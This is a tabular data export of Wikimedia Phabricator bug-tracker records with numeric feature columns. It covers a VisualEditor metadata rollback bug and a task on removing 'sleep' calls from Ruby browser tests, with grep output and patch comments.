**Severity**: normal",Low,25.0,1365265140,1366664733.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-vebapwqy2gnmj6e46row,task_description,resolved,True,c1,1,True,False,True,-13,,1.0,0.0,0.0,2.0,2.0,6.0,1.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,5.0,2.0,1.0,12.0,0.0,0.0,1.0,0.0,3.0,0.0,1.0,0.0,1.0,8.0,3.0,0.0,2.0,0.0,1.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,3.0,3.7578947368421054,0.6631578947368421,"Take the document:

<!-- meta -->content<!-- data -->

If you remove all of ""content"", the two comments now have to share an offset in the metadata array but this process is not recorded in the transaction. As a result, when the commit is rolled-back the comments aren't re-split so the resulting doc is:

content<!-- meta --><!-- data -->

--------------------------
**Version**: unspecified
**Severity**: normal"
210148,VisualEditor: Any transaction which results in metadata being merged won't rollback cleanly,Related URL: https://gerrit.wikimedia.org/r/57850 (Gerrit Change I4edad1c2dd37c723bff2792bab7d694ef17a86dc),,,1365266744,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vebapwqy2gnmj6e46row,task_subcomment,,True,c1,1,False,,,-13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I4edad1c2dd37c723bff2792bab7d694ef17a86dc)
48887,"Remove ""sleep"" from tests","We are using `sleep` in several places. Sleep is evil. The code should be refactored so the sleep is removed.

There are more robust ways to wait for something to happen than using sleep:

http://watirwebdriver.com/waiting/
https://github.com/cheezy/page-object/wiki/Ajax-Calls

```
$ grep --include *.rb  -R -F 'sleep' .

./wmde/WikidataBrowserTests/tests/browser/features/support/env.rb:  sleep env_no * 4 # sleep time to give webdriver time to setup
./wmde/WikidataBrowserTests/tests/browser/features/support/modules/entity_module.rb:    sleep(1.0 / 3) while execute_script('return jQuery.active') != 0
./wmde/WikidataBrowserTests/tests/browser/features/support/modules/entity_module.rb:    sleep 1

./mediawiki/selenium/features/step_definitions/environment_steps.rb:    sleep 0.3

./mediawiki/vagrant/mediawiki/extensions/CirrusSearch/tests/browser/features/step_definitions/general_steps.rb:  sleep(Integer(seconds))
./mediawiki/vagrant/mediawiki/extensions/CirrusSearch/tests/browser/features/step_definitions/search_steps.rb:    sleep(5)
./mediawiki/vagrant/mediawiki/extensions/CirrusSearch/tests/browser/features/step_definitions/search_steps.rb:    sleep 1

./mediawiki/vagrant/mediawiki/extensions/Gather/tests/browser/features/step_definitions/common_steps.rb:  sleep 5
./mediawiki/vagrant/mediawiki/extensions/Gather/tests/browser/features/step_definitions/edit_collection_steps.rb:  sleep 5

./mediawiki/vagrant/mediawiki/extensions/MobileFrontend/tests/browser/features/step_definitions/editor_ve_steps.rb:    sleep 2 # this gets around a race condition bug in ChromeDriver where both the confirm and the toast are in the page at once, and Chrome reports either ""stale element reference: element is not attached to the page document"" or ""Element does not exist in cache""
./mediawiki/vagrant/mediawiki/extensions/MobileFrontend/tests/browser/features/step_definitions/notification_steps.rb:  sleep 1
./mediawiki/vagrant/mediawiki/extensions/MobileFrontend/tests/browser/features/step_definitions/notification_steps.rb:  sleep seconds.to_i

./mediawiki/vagrant/mediawiki/extensions/MultimediaViewer/tests/browser/features/step_definitions/mmv_download_steps.rb:  sleep 1

./mediawiki/vagrant/mediawiki/extensions/UploadWizard/tests/browser/features/step_definitions/upload_wizard_steps.rb:    sleep 1 # Sleep because of annoying JS animation happening in this menu
./mediawiki/vagrant/mediawiki/extensions/UploadWizard/tests/browser/features/step_definitions/upload_wizard_steps.rb:    sleep 1 # Sleep because of annoying JS animation happening in this menu
./mediawiki/vagrant/mediawiki/extensions/UploadWizard/tests/browser/features/step_definitions/upload_wizard_steps.rb:    sleep 1 # Sleep because of annoying JS animation happening in this menu
./mediawiki/vagrant/mediawiki/extensions/UploadWizard/tests/browser/features/step_definitions/upload_wizard_steps.rb:    sleep 1 # Sleep because of annoying JS animation happening in this menu
./mediawiki/vagrant/mediawiki/extensions/UploadWizard/tests/browser/features/step_definitions/upload_wizard_steps.rb:  sleep 0.5 # Sleep because of annoying JS animation happening in the date picker

./mediawiki/vagrant/mediawiki/extensions/VisualEditor/modules/ve-mw/tests/browser/features/step_definitions/cite_steps.rb:      sleep 1
./mediawiki/vagrant/mediawiki/extensions/VisualEditor/modules/ve-mw/tests/browser/features/step_definitions/cite_steps.rb:      sleep 1
./mediawiki/vagrant/mediawiki/extensions/VisualEditor/modules/ve-mw/tests/browser/features/step_definitions/cite_steps.rb:      sleep 1
./mediawiki/vagrant/mediawiki/extensions/VisualEditor/modules/ve-mw/tests/browser/features/step_definitions/cite_steps.rb:      sleep 1
./mediawiki/vagrant/mediawiki/extensions/VisualEditor/modules/ve-mw/tests/browser/features/step_definitions/media_interface_steps.rb:    sleep 1
```







",Low,25.0,1365078180,1495812867.0,PHID-USER-fz7hkyvt4jypl76ieyol,False,PHID-USER-fz7hkyvt4jypl76ieyol,False,PHID-TASK-tux6tzschtwynlmfypkk,task_description,declined,True,c1,1,True,True,False,-13,,2.0,2.0,0.0,4.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,10.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,10.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,3.58,0.72,"We are using CODE in several places. Sleep is evil. The code should be refactored so the sleep is removed.

There are more robust ways to wait for something to happen than using sleep:

URL
URL

``CODE``







"
865840,"Remove ""sleep"" from tests",Unlikely to ever be resolved because of {T139740}.,,,1495812867,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,True,,,203,,0.0,0.0,0.0,9.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,27.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.909090909090909,1.0,Unlikely to ever be resolved because of {T139740}.
230947,"Remove ""sleep"" from tests","We can keep this open.  I actually just added a sleep to a test because I needed to get on with other things, and I should return to fix it at some point.",,,1405701499,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,False,,,54,,3.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,19.0,0.0,5.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,14.0,19.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.2972972972972974,0.8378378378378378,"We can keep this open.  I actually just added a sleep to a test because I needed to get on with other things, and I should return to fix it at some point."
230937,"Remove ""sleep"" from tests","(In reply to Andre Klapper from comment #18)
> Are there more tests containing sleep or is this fixed?
> 
> Tony: Are you still working on this or should the assignee be reset to
> default?
I think there are a few more sleep keywords to be removed. Sorry, but I dont think I will be able to continue on this right now. Resetting to default assignee for the time being.",,,1405688273,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,False,,,54,,2.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,5.0,13.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,3.0,7.0,20.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,7.0,2.0,2.0,0.0,5.0,13.0,7.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,3.433333333333333,0.7333333333333333,"(In reply to Andre Klapper from comment #18)
QUOTE
QUOTE
QUOTE
QUOTE
I think there are a few more sleep keywords to be removed. Sorry, but I dont think I will be able to continue on this right now. Resetting to default assignee for the time being."
230930,"Remove ""sleep"" from tests","Are there more tests containing sleep or is this fixed?

Tony: Are you still working on this or should the assignee be reset to default?",,,1405687592,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,True,,,54,,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,7.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,14.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,10.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,7.0,3.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,3.896551724137931,0.8620689655172413,"Are there more tests containing sleep or is this fixed?

Tony: Are you still working on this or should the assignee be reset to default?"
230925,"Remove ""sleep"" from tests",All patches merged => resetting status from PATCH_TO_REVIEW to NEW,,,1394711816,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,True,,,36,,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,5.181818181818182,1.0,All patches merged => resetting status from PATCH_TO_REVIEW to NEW
230920,"Remove ""sleep"" from tests","Change 109471 merged by jenkins-bot:
Removed sleep variable from TwnMainPage tests

https://gerrit.wikimedia.org/r/109471",,,1390904723,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,False,,,30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,"Change 109471 merged by jenkins-bot:
Removed sleep variable from TwnMainPage tests

GERRIT_URL"
230916,"Remove ""sleep"" from tests","Cirrus has two sleeps:
1.  It waits for some suggestions not to appear.  Without reworking the error handling in the javascript I can't remove this.  I don't feel up to reworking that right now.
2.  It sleeps between the creation of two pages that it uses to test searches that prefer pages with recent edits.  If I could backdate edit times then I wouldn't need it but I can't at this point.

In total Cirrus sleeps 35 seconds because each of the above is executed once.  It could be better but it could be worse.",,,1390833772,,PHID-USER-2rnfxoezl66afpa7w7in,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,False,,,30,,1.5,0.0,0.0,1.0,3.0,3.5,1.5,1.0,0.0,1.0,1.5,2.5,0.0,0.0,0.0,3.5,0.0,6.0,10.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.5,1.0,0.0,5.5,0.5,4.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,1.5,1.0,0.0,1.5,0.5,1.0,0.0,9.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.5,1.0,0.0,2.5,2.5,9.0,1.5,1.5,5.5,0.0,0.0,0.0,0.0,5.5,0.0,2.0,0.0,7.5,10.0,1.5,0.0,0.0,0.0,7.5,0.0,1.5,0.0,0.0,1.0,1.5,0.0,1.5,3.584745762711864,0.7457627118644068,"Cirrus has two sleeps:
1.  It waits for some suggestions not to appear.  Without reworking the error handling in the javascript I can't remove this.  I don't feel up to reworking that right now.
2.  It sleeps between the creation of two pages that it uses to test searches that prefer pages with recent edits.  If I could backdate edit times then I wouldn't need it but I can't at this point.

In total Cirrus sleeps 35 seconds because each of the above is executed once.  It could be better but it could be worse."
230912,"Remove ""sleep"" from tests","Change 109471 had a related patch set uploaded by 01tonythomas:
Removed sleep variable from TwnMainPage tests

https://gerrit.wikimedia.org/r/109471",,,1390656466,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.35,1.0,"Change 109471 had a related patch set uploaded by 01tonythomas:
Removed sleep variable from TwnMainPage tests

GERRIT_URL"
230907,"Remove ""sleep"" from tests","Change 108916 merged by Cmcmahon:
Replaced sleep with page-object gem waiting API

https://gerrit.wikimedia.org/r/108916",,,1390407465,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.611111111111111,1.0,"Change 108916 merged by Cmcmahon:
Replaced sleep with page-object gem waiting API

GERRIT_URL"
230901,"Remove ""sleep"" from tests","Change 108918 merged by jenkins-bot:
Removed sleep with waiting API in browsertests

https://gerrit.wikimedia.org/r/108918",,,1390403834,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.722222222222222,1.0,"Change 108918 merged by jenkins-bot:
Removed sleep with waiting API in browsertests

GERRIT_URL"
230895,"Remove ""sleep"" from tests","Change 108918 had a related patch set uploaded by 01tonythomas:
Removed sleep with waiting API in browsertests

https://gerrit.wikimedia.org/r/108918",,,1390402787,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.095238095238095,1.0,"Change 108918 had a related patch set uploaded by 01tonythomas:
Removed sleep with waiting API in browsertests

GERRIT_URL"
230890,"Remove ""sleep"" from tests","Change 108916 had a related patch set uploaded by Zfilipin:
Replaced sleep with page-object gem waiting API

https://gerrit.wikimedia.org/r/108916",,,1390401099,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.521739130434782,1.0,"Change 108916 had a related patch set uploaded by Zfilipin:
Replaced sleep with page-object gem waiting API

GERRIT_URL"
230885,"Remove ""sleep"" from tests","(In reply to comment #8)
> Tony and I have paired on getting his environment set up to work on this.
I will put my status in [QA] once I have made my environment ready.",,,1389959040,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,0.0,15.0,15.0,7.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,0.8888888888888888,"(In reply to comment #8)
QUOTE
I will put my status in [QA] once I have made my environment ready."
230879,"Remove ""sleep"" from tests","Tony and I have paired on getting his environment set up to work on this. Tony, if you still are interested in working on this, feel free to assign the bug to yourself. Let me know if you need help.",,,1389957541,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,True,,,28,,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,22.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,9.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,13.0,22.0,4.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,3.533333333333333,0.7555555555555555,"Tony and I have paired on getting his environment set up to work on this. Tony, if you still are interested in working on this, feel free to assign the bug to yourself. Let me know if you need help."
538885,"Remove ""sleep"" from tests",,,,1443702073,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,True,,,117,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
230873,"Remove ""sleep"" from tests",,,,1389430912,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,True,,,27,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
230866,"Remove ""sleep"" from tests","Tony Thomas:  just removing the code is not enough.  The tests have to be made to wait properly for whatever it is they are waiting for.  

Using sleep() is either an interim step that never got completed, or else the person writing the test could not think of a better way to wait for whatever the test needs.  

So the tests need to be updated in a thoughtful way so that they wait correctly without using sleep() but also without failing mistakenly.",,,1389377877,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,False,,,27,,0.0,0.0,0.0,2.0,2.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,14.0,0.0,4.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,8.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,11.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,9.0,6.0,5.0,2.0,3.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,14.0,2.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,6.0,1.0,0.0,0.0,3.8645833333333335,0.6770833333333334,"Tony Thomas:  just removing the code is not enough.  The tests have to be made to wait properly for whatever it is they are waiting for.  

Using sleep() is either an interim step that never got completed, or else the person writing the test could not think of a better way to wait for whatever the test needs.  

So the tests need to be updated in a thoughtful way so that they wait correctly without using sleep() but also without failing mistakenly."
230860,"Remove ""sleep"" from tests","(In reply to comment #3)
> Sleep statements found:
> 
Removing the code from the following places will do ?",,,1389377680,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-tux6tzschtwynlmfypkk,task_subcomment,,True,c1,3,False,,,27,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,17.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,9.0,0.0,4.0,0.0,0.0,13.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.347826086956522,0.8260869565217391,"(In reply to comment #3)
QUOTE
QUOTE
Removing the code from the following places will do ?"
